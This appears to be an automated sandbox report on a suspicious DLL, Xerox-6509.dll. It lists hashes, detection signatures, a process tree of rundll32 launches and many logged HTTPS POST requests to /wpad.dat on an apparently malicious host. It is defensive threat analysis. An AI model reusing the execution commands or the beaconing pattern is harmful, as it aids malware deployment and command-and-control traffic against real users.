Edit tour

Windows Analysis Report
Xerox-6509.dll

Overview

General Information

Sample name:	Xerox-6509.dll
Analysis ID:	1426752
MD5:	ebfa9058b78dd1f0909137225aa5fa48
SHA1:	2d8b3e90ebe4f23f3f77b1e25f98304d5507c2e7
SHA256:	2b53674953bb1d733bd4d3c5d88c30f4b049e5b1433b91b8e1b2a6f0ea49a951
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

Found API chain indicative of debugger detection

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7628 cmdline: loaddll32.exe "C:\Users\user\Desktop\Xerox-6509.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7720 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7744 cmdline: rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7728 cmdline: rundll32.exe C:\Users\user\Desktop\Xerox-6509.dll,main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7820 cmdline: rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",main MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: Xerox-6509.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL

Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.8:49826 version: TLS 1.2

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 104.21.62.151 443

Jump to behavior

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 540Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 540Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 540Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
